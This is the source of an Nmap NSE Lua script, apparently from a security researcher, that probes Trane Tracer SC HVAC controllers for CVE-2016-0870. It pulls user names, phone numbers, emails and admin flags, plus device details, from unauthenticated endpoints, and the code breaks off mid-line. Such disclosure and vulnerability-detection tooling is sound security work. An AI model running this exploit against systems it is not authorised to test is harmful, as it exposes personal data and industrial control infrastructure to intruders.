local nmap = require "nmap" local http = require "http" local stdnse = require "stdnse" local string = require "string" local shortport = require "shortport" local table = require "table" description = [[ Trane Tracer SC is an intelligent field panel for communicating with HVAC equipment controllers. According to Trane U.S. Inc., Tracer SC is deployed across several sectors including Commercial Facilities and others. Contents of specific directories on the Tracer SC are exposed with the web server application to unauthenticated users. These directories have sensitive information within the configuration files. Valid on Trane Tracer SC version 4.20.1134 and below. Tested on 7/3/17. $ git clone https://github.com/hkm/nmap-nse-scripts.git References: * https://ics-cert.us-cert.gov/advisories/ICSA-16-259-03 * http://www.cvedetails.com/cve/CVE-2016-0870/ * http://websec.mx ]] --- -- @usage nmap -p80 --script http-vuln-cve2016-0870.nse -- -- @output -- | trane-info: -- | serverName: TracerSC -- | serverTime: 2017-07-03T21:01:02-04:00 -- | serverBootTime: 2017-06-25T03:14:38-04:00 -- | vendorName: Trane -- | productName: Tracer SC -- | productVersion: v4.40.1211 (release) -- | kernelVersion: 2.6.30_HwVer12AB-hydra -- | hardwareType: HwVer12AB -- | hardwareSerialNumber: E15A##### -- | 1:equipmentUri: /equipment/generic/generic/## -- | 1:displayName: BOILER ROOMS -- | 1:deviceName: BOILER ROOMS -- | 1:equipmentFamily: Generic -- | 1:roleDocument: BOILER_ROOMS -- | 1:isOffline: false -- | 2:equipmentUri: /equipment/generic/generic/## -- | 2:displayName: BOILER ROOMS -- | 2:deviceName: BOILER ROOMS -- | 2:equipmentFamily: Generic -- | 2:roleDocument: BOILER_ROOMS -- | 2:isOffline: false -- | 3:equipmentUri: /equipment/generic/generic/## -- | 3:displayName: EXHAUSTS 3 RM-6 -- | 3:deviceName: EXHAUSTS 3 RM-6 -- | 3:equipmentFamily: Generic -- | 3:roleDocument: EXHAUSTS_3_RM-6 -- | 3:isOffline: false -- -- @xmloutput -- TracerSC -- 2017-07-03T21:01:02-04:00 -- 2017-06-25T03:14:38-04:00 -- Trane -- Tracer SC -- v4.40.1211 (release) -- -- 2.6.30_HwVer12AB-hydra -- HwVer12AB -- E15A##### -- /equipment/generic/generic/## -- BOILER ROOMS -- BOILER ROOMS -- Generic -- BOILER_ROOMS -- false -- /equipment/generic/generic/## -- BOILER ROOMS -- BOILER ROOMS -- Generic -- BOILER_ROOMS -- false -- /equipment/generic/generic/## -- EXHAUSTS 3 RM-6 -- EXHAUSTS 3 RM-6 -- Generic -- EXHAUSTS_3_RM-6 -- false --- author = "Pedro Joaquin " license = "Same as Nmap--See https://nmap.org/book/man-legal.html" categories = {"vuln", "safe"} portrule = shortport.portnumber({80}) local output = stdnse.output_table() local outputcol = "\nuserId, firstName, lastName, phoneNo, email, administrator, active,\n" local count = 1 local function GetUserInfo(host, port, usernumber) --Get information from /evox/user/user/#usernumber# local uri = '/evox/user/user/'..usernumber local response = http.get(host, port, uri) if response['status-line'] and response['status-line']:match("200") then --Verify response and parsing of XML /evox/user/user/#usernumber# local xmlparsetest = response['body']:match('userId') if not xmlparsetest then stdnse.debug1("Problem with XML parsing. No users found in /evox/user/user") return nil, "Problem with XML parsing. No users found in /evox/user/user" end if response['status-line'] and response['status-line']:match("401") then stdnse.debug1("401 Unauthorized") return nil, "401 Unauthorized" end local keylist = {"userId","firstName","lastName","phoneNo","email", "administrator","active"} for _,key in ipairs(keylist) do stdnse.debug1("Looking for : "..key) output[count..":"..key] = response['body']:match(key..'" val=([^<]*) />') output[count..":"..key] = string.gsub(output[count..":"..key],'"',"") outputcol = outputcol..output[count..":"..key]..', ' stdnse.debug1("Found : "..output[count..":"..key]) end count = count + 1 outputcol = outputcol .. '\n' end end local function GetInformation(host, port) --Get information from /evox/user/user local uri = '/evox/user/user' local response = http.get(host, port, uri) if response['status-line'] and response['status-line']:match("200") then --Verify response and parsing of XML from /evox/user/user local xmlparsetest = response['body']:match('